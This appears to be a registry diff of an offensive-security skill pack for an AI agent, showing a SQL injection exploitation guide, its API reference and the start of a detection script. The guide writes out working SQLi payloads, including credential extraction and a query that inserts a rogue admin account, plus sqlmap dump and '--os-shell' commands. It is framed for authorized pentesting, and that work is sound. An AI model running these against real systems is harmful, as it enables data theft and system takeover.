open-sploit 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (81) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +75 -0
  3. package/bin/install.mjs +158 -0
  4. package/package.json +27 -0
  5. package/template/agent/offsec.md +53 -0
  6. package/template/command/target.md +45 -0
  7. package/template/config/opencode.example.json +46 -0
  8. package/template/skills/api-security-testing/SKILL.md +61 -0
  9. package/template/skills/conducting-api-security-testing/LICENSE +201 -0
  10. package/template/skills/conducting-api-security-testing/SKILL.md +195 -0
  11. package/template/skills/conducting-api-security-testing/references/api-reference.md +62 -0
  12. package/template/skills/conducting-api-security-testing/scripts/agent.py +228 -0
  13. package/template/skills/exploiting-api-injection-vulnerabilities/LICENSE +201 -0
  14. package/template/skills/exploiting-api-injection-vulnerabilities/SKILL.md +481 -0
  15. package/template/skills/exploiting-api-injection-vulnerabilities/references/api-reference.md +103 -0
  16. package/template/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py +142 -0
  17. package/template/skills/exploiting-http-request-smuggling/LICENSE +201 -0
  18. package/template/skills/exploiting-http-request-smuggling/SKILL.md +343 -0
  19. package/template/skills/exploiting-http-request-smuggling/references/api-reference.md +53 -0
  20. package/template/skills/exploiting-http-request-smuggling/scripts/agent.py +196 -0
  21. package/template/skills/exploiting-idor-vulnerabilities/LICENSE +201 -0
  22. package/template/skills/exploiting-idor-vulnerabilities/SKILL.md +309 -0
  23. package/template/skills/exploiting-idor-vulnerabilities/references/api-reference.md +52 -0
  24. package/template/skills/exploiting-idor-vulnerabilities/scripts/agent.py +177 -0
  25. package/template/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE +201 -0
  26. package/template/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md +472 -0
  27. package/template/skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md +99 -0
  28. package/template/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py +132 -0
  29. package/template/skills/exploiting-nosql-injection-vulnerabilities/LICENSE +201 -0
  30. package/template/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md +219 -0
  31. package/template/skills/exploiting-nosql-injection-vulnerabilities/assets/template.md +30 -0
  32. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md +85 -0
  33. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/standards.md +19 -0
  34. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/workflows.md +23 -0
  35. package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py +136 -0
  36. package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/process.py +222 -0
  37. package/template/skills/exploiting-oauth-misconfiguration/LICENSE +201 -0
  38. package/template/skills/exploiting-oauth-misconfiguration/SKILL.md +316 -0
  39. package/template/skills/exploiting-oauth-misconfiguration/references/api-reference.md +59 -0
  40. package/template/skills/exploiting-oauth-misconfiguration/scripts/agent.py +232 -0
  41. package/template/skills/exploiting-prototype-pollution-in-javascript/LICENSE +201 -0
  42. package/template/skills/exploiting-prototype-pollution-in-javascript/SKILL.md +239 -0
  43. package/template/skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md +102 -0
  44. package/template/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py +156 -0
  45. package/template/skills/exploiting-race-condition-vulnerabilities/LICENSE +201 -0
  46. package/template/skills/exploiting-race-condition-vulnerabilities/SKILL.md +246 -0
  47. package/template/skills/exploiting-race-condition-vulnerabilities/references/api-reference.md +84 -0
  48. package/template/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py +119 -0
  49. package/template/skills/exploiting-server-side-request-forgery/LICENSE +201 -0
  50. package/template/skills/exploiting-server-side-request-forgery/SKILL.md +354 -0
  51. package/template/skills/exploiting-server-side-request-forgery/references/api-reference.md +57 -0
  52. package/template/skills/exploiting-server-side-request-forgery/scripts/agent.py +183 -0
  53. package/template/skills/exploiting-sql-injection-vulnerabilities/LICENSE +201 -0
  54. package/template/skills/exploiting-sql-injection-vulnerabilities/SKILL.md +205 -0
  55. package/template/skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md +60 -0
  56. package/template/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py +196 -0
  57. package/template/skills/exploiting-sql-injection-with-sqlmap/LICENSE +201 -0
  58. package/template/skills/exploiting-sql-injection-with-sqlmap/SKILL.md +257 -0
  59. package/template/skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md +74 -0
  60. package/template/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py +217 -0
  61. package/template/skills/exploiting-template-injection-vulnerabilities/LICENSE +201 -0
  62. package/template/skills/exploiting-template-injection-vulnerabilities/SKILL.md +322 -0
  63. package/template/skills/exploiting-template-injection-vulnerabilities/references/api-reference.md +55 -0
  64. package/template/skills/exploiting-template-injection-vulnerabilities/scripts/agent.py +205 -0
  65. package/template/skills/exploiting-type-juggling-vulnerabilities/LICENSE +201 -0
  66. package/template/skills/exploiting-type-juggling-vulnerabilities/SKILL.md +272 -0
  67. package/template/skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md +87 -0
  68. package/template/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py +141 -0
  69. package/template/skills/exploiting-websocket-vulnerabilities/LICENSE +201 -0
  70. package/template/skills/exploiting-websocket-vulnerabilities/SKILL.md +424 -0
  71. package/template/skills/exploiting-websocket-vulnerabilities/references/api-reference.md +62 -0
  72. package/template/skills/exploiting-websocket-vulnerabilities/scripts/agent.py +211 -0
  73. package/template/skills/hackerone/SKILL.md +137 -0
  74. package/template/skills/hackerone/reference/INTEGRATION_GUIDE.md +199 -0
  75. package/template/skills/hackerone/reference/sensitive-data-tracking.md +134 -0
  76. package/template/skills/hackerone/tools/__init__.py +0 -0
  77. package/template/skills/hackerone/tools/csv_parser.py +185 -0
  78. package/template/skills/hackerone/tools/report_validator.py +285 -0
  79. package/template/skills/hackerone/tools/sensitive_data_tracker.py +495 -0
  80. package/template/skills/owasp-top-10-testing/SKILL.md +64 -0
  81. package/template/skills/web-app-penetration-testing/SKILL.md +54 -0
@@ -0,0 +1,201 @@
1
+
2
+ Apache License
3
+ Version 2.0, January 2004
4
+ http://www.apache.org/licenses/
5
+
6
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
7
+
8
+ 1. Definitions.
9
+
10
+ "License" shall mean the terms and conditions for use, reproduction,
11
+ and distribution as defined by Sections 1 through 9 of this document.
12
+
13
+ "Licensor" shall mean the copyright owner or entity authorized by
14
+ the copyright owner that is granting the License.
15
+
16
+ "Legal Entity" shall mean the union of the acting entity and all
17
+ other entities that control, are controlled by, or are under common
18
+ control with that entity. For the purposes of this definition,
19
+ "control" means (i) the power, direct or indirect, to cause the
20
+ direction or management of such entity, whether by contract or
21
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
22
+ outstanding shares, or (iii) beneficial ownership of such entity.
23
+
24
+ "You" (or "Your") shall mean an individual or Legal Entity
25
+ exercising permissions granted by this License.
26
+
27
+ "Source" form shall mean the preferred form for making modifications,
28
+ including but not limited to software source code, documentation
29
+ source, and configuration files.
30
+
31
+ "Object" form shall mean any form resulting from mechanical
32
+ transformation or translation of a Source form, including but
33
+ not limited to compiled object code, generated documentation,
34
+ and conversions to other media types.
35
+
36
+ "Work" shall mean the work of authorship, whether in Source or
37
+ Object form, made available under the License, as indicated by a
38
+ copyright notice that is included in or attached to the work
39
+ (an example is provided in the Appendix below).
40
+
41
+ "Derivative Works" shall mean any work, whether in Source or Object
42
+ form, that is based on (or derived from) the Work and for which the
43
+ editorial revisions, annotations, elaborations, or other modifications
44
+ represent, as a whole, an original work of authorship. For the purposes
45
+ of this License, Derivative Works shall not include works that remain
46
+ separable from, or merely link (or bind by name) to the interfaces of,
47
+ the Work and Derivative Works thereof.
48
+
49
+ "Contribution" shall mean any work of authorship, including
50
+ the original version of the Work and any modifications or additions
51
+ to that Work or Derivative Works thereof, that is intentionally
52
+ submitted to the Licensor for inclusion in the Work by the copyright owner
53
+ or by an individual or Legal Entity authorized to submit on behalf of
54
+ the copyright owner. For the purposes of this definition, "submitted"
55
+ means any form of electronic, verbal, or written communication sent
56
+ to the Licensor or its representatives, including but not limited to
57
+ communication on electronic mailing lists, source code control systems,
58
+ and issue tracking systems that are managed by, or on behalf of, the
59
+ Licensor for the purpose of discussing and improving the Work, but
60
+ excluding communication that is conspicuously marked or otherwise
61
+ designated in writing by the copyright owner as "Not a Contribution."
62
+
63
+ "Contributor" shall mean Licensor and any individual or Legal Entity
64
+ on behalf of whom a Contribution has been received by the Licensor and
65
+ subsequently incorporated within the Work.
66
+
67
+ 2. Grant of Copyright License. Subject to the terms and conditions of
68
+ this License, each Contributor hereby grants to You a perpetual,
69
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
70
+ copyright license to reproduce, prepare Derivative Works of,
71
+ publicly display, publicly perform, sublicense, and distribute the
72
+ Work and such Derivative Works in Source or Object form.
73
+
74
+ 3. Grant of Patent License. Subject to the terms and conditions of
75
+ this License, each Contributor hereby grants to You a perpetual,
76
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
77
+ (except as stated in this section) patent license to make, have made,
78
+ use, offer to sell, sell, import, and otherwise transfer the Work,
79
+ where such license applies only to those patent claims licensable
80
+ by such Contributor that are necessarily infringed by their
81
+ Contribution(s) alone or by combination of their Contribution(s)
82
+ with the Work to which such Contribution(s) was submitted. If You
83
+ institute patent litigation against any entity (including a
84
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
85
+ or a Contribution incorporated within the Work constitutes direct
86
+ or contributory patent infringement, then any patent licenses
87
+ granted to You under this License for that Work shall terminate
88
+ as of the date such litigation is filed.
89
+
90
+ 4. Redistribution. You may reproduce and distribute copies of the
91
+ Work or Derivative Works thereof in any medium, with or without
92
+ modifications, and in Source or Object form, provided that You
93
+ meet the following conditions:
94
+
95
+ (a) You must give any other recipients of the Work or
96
+ Derivative Works a copy of this License; and
97
+
98
+ (b) You must cause any modified files to carry prominent notices
99
+ stating that You changed the files; and
100
+
101
+ (c) You must retain, in the Source form of any Derivative Works
102
+ that You distribute, all copyright, patent, trademark, and
103
+ attribution notices from the Source form of the Work,
104
+ excluding those notices that do not pertain to any part of
105
+ the Derivative Works; and
106
+
107
+ (d) If the Work includes a "NOTICE" text file as part of its
108
+ distribution, then any Derivative Works that You distribute must
109
+ include a readable copy of the attribution notices contained
110
+ within such NOTICE file, excluding any notices that do not
111
+ pertain to any part of the Derivative Works, in at least one
112
+ of the following places: within a NOTICE text file distributed
113
+ as part of the Derivative Works; within the Source form or
114
+ documentation, if provided along with the Derivative Works; or,
115
+ within a display generated by the Derivative Works, if and
116
+ wherever such third-party notices normally appear. The contents
117
+ of the NOTICE file are for informational purposes only and
118
+ do not modify the License. You may add Your own attribution
119
+ notices within Derivative Works that You distribute, alongside
120
+ or as an addendum to the NOTICE text from the Work, provided
121
+ that such additional attribution notices cannot be construed
122
+ as modifying the License.
123
+
124
+ You may add Your own copyright statement to Your modifications and
125
+ may provide additional or different license terms and conditions
126
+ for use, reproduction, or distribution of Your modifications, or
127
+ for any such Derivative Works as a whole, provided Your use,
128
+ reproduction, and distribution of the Work otherwise complies with
129
+ the conditions stated in this License.
130
+
131
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
132
+ any Contribution intentionally submitted for inclusion in the Work
133
+ by You to the Licensor shall be under the terms and conditions of
134
+ this License, without any additional terms or conditions.
135
+ Notwithstanding the above, nothing herein shall supersede or modify
136
+ the terms of any separate license agreement you may have executed
137
+ with Licensor regarding such Contributions.
138
+
139
+ 6. Trademarks. This License does not grant permission to use the trade
140
+ names, trademarks, service marks, or product names of the Licensor,
141
+ except as required for reasonable and customary use in describing the
142
+ origin of the Work and reproducing the content of the NOTICE file.
143
+
144
+ 7. Disclaimer of Warranty. Unless required by applicable law or
145
+ agreed to in writing, Licensor provides the Work (and each
146
+ Contributor provides its Contributions) on an "AS IS" BASIS,
147
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
148
+ implied, including, without limitation, any warranties or conditions
149
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
150
+ PARTICULAR PURPOSE. You are solely responsible for determining the
151
+ appropriateness of using or redistributing the Work and assume any
152
+ risks associated with Your exercise of permissions under this License.
153
+
154
+ 8. Limitation of Liability. In no event and under no legal theory,
155
+ whether in tort (including negligence), contract, or otherwise,
156
+ unless required by applicable law (such as deliberate and grossly
157
+ negligent acts) or agreed to in writing, shall any Contributor be
158
+ liable to You for damages, including any direct, indirect, special,
159
+ incidental, or consequential damages of any character arising as a
160
+ result of this License or out of the use or inability to use the
161
+ Work (including but not limited to damages for loss of goodwill,
162
+ work stoppage, computer failure or malfunction, or any and all
163
+ other commercial damages or losses), even if such Contributor
164
+ has been advised of the possibility of such damages.
165
+
166
+ 9. Accepting Warranty or Additional Liability. While redistributing
167
+ the Work or Derivative Works thereof, You may choose to offer,
168
+ and charge a fee for, acceptance of support, warranty, indemnity,
169
+ or other liability obligations and/or rights consistent with this
170
+ License. However, in accepting such obligations, You may act only
171
+ on Your own behalf and on Your sole responsibility, not on behalf
172
+ of any other Contributor, and only if You agree to indemnify,
173
+ defend, and hold each Contributor harmless for any liability
174
+ incurred by, or claims asserted against, such Contributor by reason
175
+ of your accepting any such warranty or additional liability.
176
+
177
+ END OF TERMS AND CONDITIONS
178
+
179
+ APPENDIX: How to apply the Apache License to your work.
180
+
181
+ To apply the Apache License to your work, attach the following
182
+ boilerplate notice, with the fields enclosed by brackets "[]"
183
+ replaced with your own identifying information. (Don't include
184
+ the brackets!) The text should be enclosed in the appropriate
185
+ comment syntax for the file format. Please do not remove or change
186
+ the license header comment from a contributed file except when
187
+ necessary.
188
+
189
+ Copyright 2026 mukul975
190
+
191
+ Licensed under the Apache License, Version 2.0 (the "License");
192
+ you may not use this file except in compliance with the License.
193
+ You may obtain a copy of the License at
194
+
195
+ http://www.apache.org/licenses/LICENSE-2.0
196
+
197
+ Unless required by applicable law or agreed to in writing, software
198
+ distributed under the License is distributed on an "AS IS" BASIS,
199
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200
+ See the License for the specific language governing permissions and
201
+ limitations under the License.
@@ -0,0 +1,205 @@
1
+ ---
2
+ name: exploiting-sql-injection-vulnerabilities
3
+ description: 'Identifies and exploits SQL injection vulnerabilities in web applications
4
+ during authorized penetration tests using manual techniques and automated tools
5
+ like sqlmap. The tester detects injection points through error-based, union-based,
6
+ blind boolean, and time-based blind techniques across all major database engines
7
+ (MySQL, PostgreSQL, MSSQL, Oracle) to demonstrate data extraction, authentication
8
+ bypass, and potential remote code execution. Activates for requests involving SQL
9
+ injection testing, SQLi exploitation, database security assessment, or injection
10
+ vulnerability verification.
11
+
12
+ '
13
+ domain: cybersecurity
14
+ subdomain: penetration-testing
15
+ tags:
16
+ - SQL-injection
17
+ - sqlmap
18
+ - database-security
19
+ - OWASP-A03
20
+ - injection-testing
21
+ version: 1.0.0
22
+ author: mahipal
23
+ license: Apache-2.0
24
+ nist_csf:
25
+ - ID.RA-01
26
+ - ID.RA-06
27
+ - GV.OV-02
28
+ - DE.AE-07
29
+ mitre_attack:
30
+ - T1595
31
+ - T1190
32
+ - T1059
33
+ - T1078
34
+ - T1055
35
+ ---
36
+ # Exploiting SQL Injection Vulnerabilities
37
+
38
+ ## When to Use
39
+
40
+ - Testing web application input parameters for SQL injection vulnerabilities during an authorized penetration test
41
+ - Validating that parameterized queries and input sanitization are properly implemented across all database interactions
42
+ - Demonstrating the business impact of a confirmed SQL injection vulnerability by extracting sensitive data
43
+ - Verifying that WAF rules and input validation controls effectively block SQL injection payloads
44
+ - Testing stored procedures, dynamic SQL, and ORM bypass scenarios in enterprise applications
45
+
46
+ **Do not use** against databases without written authorization, for extracting or exfiltrating actual customer data beyond what is needed for proof of concept, or against production databases where exploitation could corrupt data integrity.
47
+
48
+ ## Prerequisites
49
+
50
+ - Written authorization specifying the target application and permissible level of exploitation (detection only vs. full exploitation)
51
+ - Burp Suite Professional configured as an intercepting proxy to capture and modify HTTP requests
52
+ - sqlmap installed with current version for automated detection and exploitation
53
+ - Knowledge of the target database engine (MySQL, PostgreSQL, MSSQL, Oracle) or ability to fingerprint it
54
+ - Test accounts at various privilege levels to test injection in authenticated contexts
55
+
56
+ ## Workflow
57
+
58
+ ### Step 1: Injection Point Discovery
59
+
60
+ Identify parameters that interact with the database:
61
+
62
+ - **Map all input vectors**: Catalog every parameter in URLs (GET), request bodies (POST), HTTP headers (Cookie, Referer, User-Agent, X-Forwarded-For), and JSON/XML API payloads
63
+ - **Error-based detection**: Inject a single quote (`'`) into each parameter and observe the response. SQL errors (e.g., "You have an error in your SQL syntax", "unterminated quoted string", "ORA-01756") confirm the parameter reaches the database unsanitized.
64
+ - **Boolean-based detection**: Inject `' AND 1=1--` (true condition) and `' AND 1=2--` (false condition). If the responses differ (different content length, different data returned, different HTTP status), the parameter is injectable.
65
+ - **Time-based detection**: Inject `'; WAITFOR DELAY '0:0:5'--` (MSSQL), `' AND SLEEP(5)--` (MySQL), or `'; SELECT pg_sleep(5)--` (PostgreSQL). A 5-second response delay confirms injection.
66
+ - **Out-of-band detection**: Use payloads that trigger DNS or HTTP requests to a Burp Collaborator domain to confirm injection in scenarios where responses are not directly observable.
67
+ - **Second-order injection**: Test for injection where input is stored and later used in a different SQL query (e.g., username stored at registration, used in a query on the profile page).
68
+
69
+ ### Step 2: Database Fingerprinting
70
+
71
+ Determine the database engine and version to select appropriate exploitation techniques:
72
+
73
+ - **Error-based fingerprinting**: Each database produces distinctive error messages. MySQL includes "MySQL", MSSQL mentions "SQL Server", PostgreSQL references "PG", Oracle contains "ORA-".
74
+ - **Function-based fingerprinting**: Inject database-specific functions:
75
+ - MySQL: `' AND VERSION()--` or `' AND @@version--`
76
+ - MSSQL: `' AND @@version--` or `' AND DB_NAME()--`
77
+ - PostgreSQL: `' AND version()--`
78
+ - Oracle: `' AND banner FROM v$version--`
79
+ - **String concatenation differences**: MySQL uses `CONCAT('a','b')` or `'a' 'b'`, MSSQL uses `'a'+'b'`, PostgreSQL uses `'a'||'b'`, Oracle uses `'a'||'b'`
80
+ - **Comment syntax**: MySQL supports `#` and `-- `, MSSQL uses `-- `, PostgreSQL uses `-- `, Oracle uses `-- `
81
+
82
+ ### Step 3: Manual Exploitation Techniques
83
+
84
+ Exploit confirmed injection points using technique-appropriate methods:
85
+
86
+ - **UNION-based extraction**: Determine the number of columns with `ORDER BY` incrementing (`' ORDER BY 1--`, `' ORDER BY 2--`, etc. until an error occurs). Then construct UNION SELECT to extract data:
87
+ ```
88
+ ' UNION SELECT NULL,username,password,NULL FROM users--
89
+ ```
90
+ - **Error-based extraction** (MySQL): Use `EXTRACTVALUE` or `UPDATEXML` to force data into error messages:
91
+ ```
92
+ ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))--
93
+ ```
94
+ - **Blind boolean extraction**: Extract data one character at a time by testing character values:
95
+ ```
96
+ ' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
97
+ ```
98
+ - **Time-based blind extraction**: Same character-by-character approach using time delays:
99
+ ```
100
+ ' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0)--
101
+ ```
102
+ - **Stacked queries** (where supported): Execute additional SQL statements:
103
+ ```
104
+ '; INSERT INTO users(username,password,role) VALUES('attacker','password','admin')--
105
+ ```
106
+
107
+ ### Step 4: Automated Exploitation with sqlmap
108
+
109
+ Use sqlmap for efficient exploitation of confirmed injection points:
110
+
111
+ - **Basic detection**: `sqlmap -u "https://target.com/page?id=1" --batch --random-agent` to detect injection and identify the database
112
+ - **Extract databases**: `sqlmap -u "https://target.com/page?id=1" --dbs` to list all databases
113
+ - **Extract tables**: `sqlmap -u "https://target.com/page?id=1" -D <database> --tables` to list tables
114
+ - **Extract data**: `sqlmap -u "https://target.com/page?id=1" -D <database> -T users --dump --threads 5` to extract table contents
115
+ - **POST parameters**: `sqlmap -u "https://target.com/login" --data="username=test&password=test" -p username` to test POST parameters
116
+ - **Cookie injection**: `sqlmap -u "https://target.com/page" --cookie="session=abc123; id=1*" --level 2` to test cookie parameters (mark injectable parameter with *)
117
+ - **OS command execution** (if DB user has sufficient privileges): `sqlmap -u "https://target.com/page?id=1" --os-shell` to attempt command execution via xp_cmdshell (MSSQL) or INTO OUTFILE (MySQL)
118
+ - **Tamper scripts**: `sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,between` to bypass WAF filters
119
+
120
+ ### Step 5: Impact Demonstration and Reporting
121
+
122
+ Document the full impact of the SQL injection vulnerability:
123
+
124
+ - **Data extraction evidence**: Capture screenshots or sqlmap output showing extracted database names, table schemas, and sample records (redact actual PII in the report)
125
+ - **Authentication bypass**: Demonstrate login bypass with `admin' OR 1=1--` and document the bypassed authentication mechanism
126
+ - **Privilege escalation**: If the database user has DBA privileges, document what additional capabilities are available (file read/write, command execution)
127
+ - **Lateral movement potential**: Document if the database server has network access to other internal systems that could be reached through OS-level access gained via SQLi
128
+ - **Remediation**: Provide specific code-level fixes showing the vulnerable query and the corrected parameterized version
129
+
130
+ ## Key Concepts
131
+
132
+ | Term | Definition |
133
+ |------|------------|
134
+ | **SQL Injection** | A code injection technique that exploits unvalidated user input in SQL queries to manipulate database operations, extract data, or execute administrative operations |
135
+ | **Union-Based SQLi** | Injection technique that appends a UNION SELECT statement to the original query to extract data from other tables in the same response |
136
+ | **Blind SQL Injection** | Injection where the application does not return query results directly; the attacker infers data through boolean responses or time delays |
137
+ | **Parameterized Query** | A prepared SQL statement where user input is passed as parameters rather than concatenated into the query string, preventing injection |
138
+ | **Second-Order Injection** | SQL injection where the malicious payload is stored by the application and executed in a different context or SQL query at a later time |
139
+ | **Stacked Queries** | Executing multiple SQL statements separated by semicolons in a single request, enabling INSERT, UPDATE, or DELETE operations through injection |
140
+ | **WAF Bypass** | Techniques for evading Web Application Firewall rules that block common SQL injection patterns, using encoding, alternate syntax, or fragmentation |
141
+
142
+ ## Tools & Systems
143
+
144
+ - **sqlmap**: Automated SQL injection detection and exploitation tool supporting 6 injection techniques across 30+ database management systems
145
+ - **Burp Suite Professional**: HTTP proxy for intercepting, modifying, and replaying requests with SQL injection payloads across all parameter types
146
+ - **Havij**: GUI-based SQL injection tool used for rapid automated exploitation when sqlmap is not available
147
+ - **jSQL Injection**: Java-based SQL injection tool with GUI supporting automatic injection, database extraction, and file read/write
148
+
149
+ ## Common Scenarios
150
+
151
+ ### Scenario: SQL Injection in Healthcare Patient Portal
152
+
153
+ **Context**: A healthcare organization's patient portal allows patients to view their medical records, appointments, and billing information. The application uses a PHP backend with MySQL database. The tester has a valid patient account.
154
+
155
+ **Approach**:
156
+ 1. Map all parameters in the patient portal; identify that the appointment detail page uses `/appointment?id=4521`
157
+ 2. Inject a single quote into the id parameter; receive a MySQL error confirming the parameter is injectable
158
+ 3. Use `ORDER BY` to determine the query returns 7 columns
159
+ 4. Construct UNION SELECT to extract table names from information_schema, discovering tables: patients, medical_records, billing, admin_users
160
+ 5. Extract admin_users table to reveal 5 administrator accounts with MD5-hashed passwords
161
+ 6. Demonstrate that patient medical records for all patients are accessible by querying the medical_records table through the injection point
162
+ 7. Document that 15,000+ patient records containing PHI (protected health information) are accessible, constituting a HIPAA violation
163
+
164
+ **Pitfalls**:
165
+ - Running sqlmap with default settings against a production database and causing excessive load or data corruption
166
+ - Extracting and storing actual patient data during the assessment rather than limiting proof to record counts and schema
167
+ - Not testing for second-order injection in stored procedures called by the application
168
+ - Failing to test all parameter types (cookies, headers, JSON body) and only testing URL parameters
169
+
170
+ ## Output Format
171
+
172
+ ```
173
+ ## Finding: SQL Injection in Appointment Detail Parameter
174
+
175
+ **ID**: SQLI-001
176
+ **Severity**: Critical (CVSS 9.8)
177
+ **Affected URL**: GET /appointment?id=4521
178
+ **Parameter**: id (GET parameter)
179
+ **Database**: MySQL 8.0.32
180
+ **Injection Type**: Error-based, UNION-based
181
+
182
+ **Description**:
183
+ The appointment detail page concatenates the 'id' URL parameter directly into
184
+ a SQL query without parameterization or input validation. This allows an attacker
185
+ to inject arbitrary SQL statements and extract data from any table in the database.
186
+
187
+ **Proof of Concept**:
188
+ Request: GET /appointment?id=4521' UNION SELECT 1,username,password,4,5,6,7 FROM admin_users-- -
189
+ Response: Returns admin usernames and MD5 password hashes in the page content.
190
+
191
+ **Data Accessible**:
192
+ - patients table: 15,247 records (name, DOB, SSN, address, phone)
193
+ - medical_records table: 43,891 records (diagnoses, prescriptions, lab results)
194
+ - admin_users table: 5 accounts with MD5-hashed passwords
195
+ - billing table: 28,563 records (insurance details, payment information)
196
+
197
+ **Remediation**:
198
+ 1. Replace string concatenation with parameterized queries:
199
+ VULNERABLE: $query = "SELECT * FROM appointments WHERE id = " . $_GET['id'];
200
+ SECURE: $stmt = $pdo->prepare("SELECT * FROM appointments WHERE id = ?");
201
+ $stmt->execute([$_GET['id']]);
202
+ 2. Implement input validation to reject non-integer values for the id parameter
203
+ 3. Apply least-privilege database permissions (read-only for the web application user)
204
+ 4. Deploy a WAF rule to detect and block SQL injection patterns as defense-in-depth
205
+ ```
@@ -0,0 +1,60 @@
1
+ # API Reference: SQL Injection Detection Agent
2
+
3
+ ## Dependencies
4
+
5
+ | Library | Version | Purpose |
6
+ |---------|---------|---------|
7
+ | requests | >=2.28 | HTTP client for injection payload delivery |
8
+
9
+ ## CLI Usage
10
+
11
+ ```bash
12
+ python scripts/agent.py \
13
+ --url "https://target.example.com/products" \
14
+ --param id --method GET \
15
+ --output sqli_report.json
16
+ ```
17
+
18
+ ## Functions
19
+
20
+ ### `detect_error_based(url, param, method, headers) -> dict`
21
+ Injects `'` and matches response against SQL error patterns for MySQL, PostgreSQL, MSSQL, Oracle, SQLite.
22
+
23
+ ### `detect_boolean_based(url, param, method, headers) -> dict`
24
+ Compares response lengths for `AND 1=1` (true) vs `AND 1=2` (false) against a baseline.
25
+
26
+ ### `detect_time_based(url, param, method, headers, delay) -> dict`
27
+ Tests `SLEEP()`, `pg_sleep()`, and `WAITFOR DELAY` payloads. Measures response time against target delay.
28
+
29
+ ### `detect_union_columns(url, param, method, headers, max_cols) -> dict`
30
+ Increments `ORDER BY N` until error to determine column count for UNION injection.
31
+
32
+ ### `fingerprint_database(url, param, method, headers) -> dict`
33
+ Tries `@@version` and `version()` via UNION SELECT to identify the database engine.
34
+
35
+ ### `run_assessment(url, param, method) -> dict`
36
+ Runs all detection techniques and compiles findings.
37
+
38
+ ## SQL Error Signatures
39
+
40
+ | Database | Pattern |
41
+ |----------|---------|
42
+ | MySQL | `SQL syntax.*MySQL`, `Warning.*mysql_` |
43
+ | PostgreSQL | `ERROR:\s+syntax error`, `PSQLException` |
44
+ | MSSQL | `SQL Server.*Driver`, `SQLServerException` |
45
+ | Oracle | `ORA-\d{5}` |
46
+ | SQLite | `SQLite\.Exception` |
47
+
48
+ ## Output Schema
49
+
50
+ ```json
51
+ {
52
+ "target": "https://target.example.com/products",
53
+ "parameter": "id",
54
+ "injectable": true,
55
+ "error_based": {"injectable": true, "database": "mysql"},
56
+ "boolean_based": {"injectable": true},
57
+ "time_based": {"injectable": false},
58
+ "findings": ["CRITICAL: Error-based SQLi confirmed (DB: mysql)"]
59
+ }
60
+ ```
@@ -0,0 +1,196 @@
1
+ #!/usr/bin/env python3
2
+ # For authorized testing in lab/CTF environments only
3
+ """SQL injection detection agent using requests for manual technique-based testing."""
4
+
5
+ import argparse
6
+ import json
7
+ import logging
8
+ import sys
9
+ import time
10
+ import re
11
+ from typing import Optional
12
+
13
+ try:
14
+ import requests
15
+ except ImportError:
16
+ sys.exit("requests is required: pip install requests")
17
+
18
+ logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
19
+ logger = logging.getLogger(__name__)
20
+
21
+ SQL_ERRORS = {
22
+ "mysql": [r"SQL syntax.*MySQL", r"Warning.*mysql_", r"MySQLSyntaxErrorException"],
23
+ "postgresql": [r"ERROR:\s+syntax error", r"pg_query\(\)", r"PSQLException"],
24
+ "mssql": [r"SQL Server.*Driver", r"OLE DB.*SQL Server", r"SQLServerException"],
25
+ "oracle": [r"ORA-\d{5}", r"Oracle.*Driver", r"quoted string not properly terminated"],
26
+ "sqlite": [r"SQLite/JDBCDriver", r"SQLite\.Exception", r"System\.Data\.SQLite"],
27
+ }
28
+
29
+
30
+ def detect_error_based(url: str, param: str, method: str = "GET",
31
+ headers: Optional[dict] = None) -> dict:
32
+ """Inject a single quote to detect SQL errors in the response."""
33
+ payload = "'"
34
+ test_url, data = _build_request(url, param, payload, method)
35
+ resp = _send(test_url, method, data, headers)
36
+
37
+ db_type = None
38
+ error_found = False
39
+ for db, patterns in SQL_ERRORS.items():
40
+ for pattern in patterns:
41
+ if re.search(pattern, resp.text, re.IGNORECASE):
42
+ db_type = db
43
+ error_found = True
44
+ break
45
+ if error_found:
46
+ break
47
+
48
+ return {
49
+ "technique": "error_based",
50
+ "parameter": param,
51
+ "injectable": error_found,
52
+ "database": db_type,
53
+ "status_code": resp.status_code,
54
+ }
55
+
56
+
57
+ def detect_boolean_based(url: str, param: str, method: str = "GET",
58
+ headers: Optional[dict] = None) -> dict:
59
+ """Test boolean-based blind SQLi with true/false conditions."""
60
+ baseline_resp = _send(*_build_request(url, param, "1", method), headers)
61
+ true_resp = _send(*_build_request(url, param, "1 AND 1=1--", method), headers)
62
+ false_resp = _send(*_build_request(url, param, "1 AND 1=2--", method), headers)
63
+
64
